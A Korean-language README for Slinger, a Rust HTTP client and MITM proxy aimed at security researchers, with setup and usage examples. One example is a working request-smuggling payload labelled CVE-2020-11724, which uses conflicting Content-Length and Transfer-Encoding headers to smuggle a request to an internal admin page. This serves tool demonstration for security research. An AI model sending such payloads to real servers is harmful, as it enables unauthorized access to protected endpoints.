
보안 연구자를 위해 특별히 개발된 HTTP 클라이언트

Slinger는 다음을 포함하는 워크스페이스입니다:
해커를 위해 설계된 Rust용 핵심 HTTP 클라이언트 라이브러리입니다.
Burp Suite와 유사하게 투명한 HTTPS 트래픽 가로채기를 지원하는 중간자(MITM) 프록시입니다.
(맨 위로)
이 예제는 일부 선택적 기능을 활성화하므로 Cargo.toml은 다음과 같을 수 있습니다:
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }
그리고 코드:
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let resp = slinger::get("https://httpbin.org/get").await?;
println!("{:?}", resp.text());
Ok(())
}
Cargo.toml에 추가:
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }
예제 코드:
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let config = MitmConfig::default();
let proxy = MitmProxy::new(config).await?;
// Add logging interceptor
let handler = proxy.interceptor_handler();
let mut h = handler.write().await;
h.add_request_interceptor(Arc::new(Interceptor::logging()));
drop(h);
proxy.start("127.0.0.1:8080").await?;
Ok(())
}
MITM 프록시 사용에 대한 자세한 내용은 slinger-mitm/README.md를 참조하세요.
Slinger는 다음 선택적 기능을 지원합니다:
tls - 기본 TLS 기능 (특정 백엔드 없이 TLS 유형 및 인터페이스 활성화)rustls - Rustls를 사용한 HTTPS 지원 (tls 필요, 순수 Rust 구현)http2 - HTTP/2 프로토콜 지원 (TLS 백엔드 필요)cookie - 쿠키 처리 지원charset - 문자 인코딩 지원serde - 직렬화/역직렬화 지원gzip - Gzip 압축 지원schema - JSON Schema 지원TLS를 사용하려면 다음을 수행해야 합니다:
tls 기능 활성화rustls 백엔드를 선택하거나 사용자 정의 TLS 커넥터 제공기능 조합 예시:
# Using rustls backend
slinger = { version = "0.2.8", features = ["tls", "rustls"] }
# Using custom TLS backend (requires implementing CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }
native-tls, OpenSSL 또는 다른 TLS 라이브러리를 사용하려면 사용자 정의 TLS 커넥터를 구현할 수 있습니다. native-tls 통합 방법에 대한 전체 예제는 native_tls_example.rs를 참조하세요.
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};
/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
// let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
let client = ClientBuilder::default().build().unwrap();
let mut raw = Vec::new();
// replace \n to \r\n
for line in RAW.lines() {
match line {
Ok(l) => {
raw.extend(l.as_bytes());
raw.extend(b"\r\n")
}
Err(err) => {
println!("{:?}", err);
}
}
}
let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
println!("{:?}", record);
Ok(())
}
더 많은 예제는 예제를 참조하세요.
(맨 위로)
기여는 오픈 소스 커뮤니티를 배우고, 영감을 얻고, 창조할 수 있는 놀라운 공간으로 만들어 줍니다. 여러분이 해주시는 모든 기여는 매우 감사히 여겨집니다.
이 프로젝트를 개선할 제안이 있으시면 저장소를 포크하고 풀 리퀘스트를 만들어 주세요. 간단히 "enhancement" 태그로 이슈를 열 수도 있습니다. 프로젝트에 스타를 주는 것도 잊지 마세요! 다시 한번 감사합니다!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)(맨 위로)
GPL-3.0-only 라이선스로 배포됩니다. 자세한 내용은 LICENSE를 참조하세요.
(맨 위로)
이름 - @Kali_Team - [email protected]
프로젝트 링크: https://github.com/emo-crab/slinger
(맨 위로)
(맨 위로)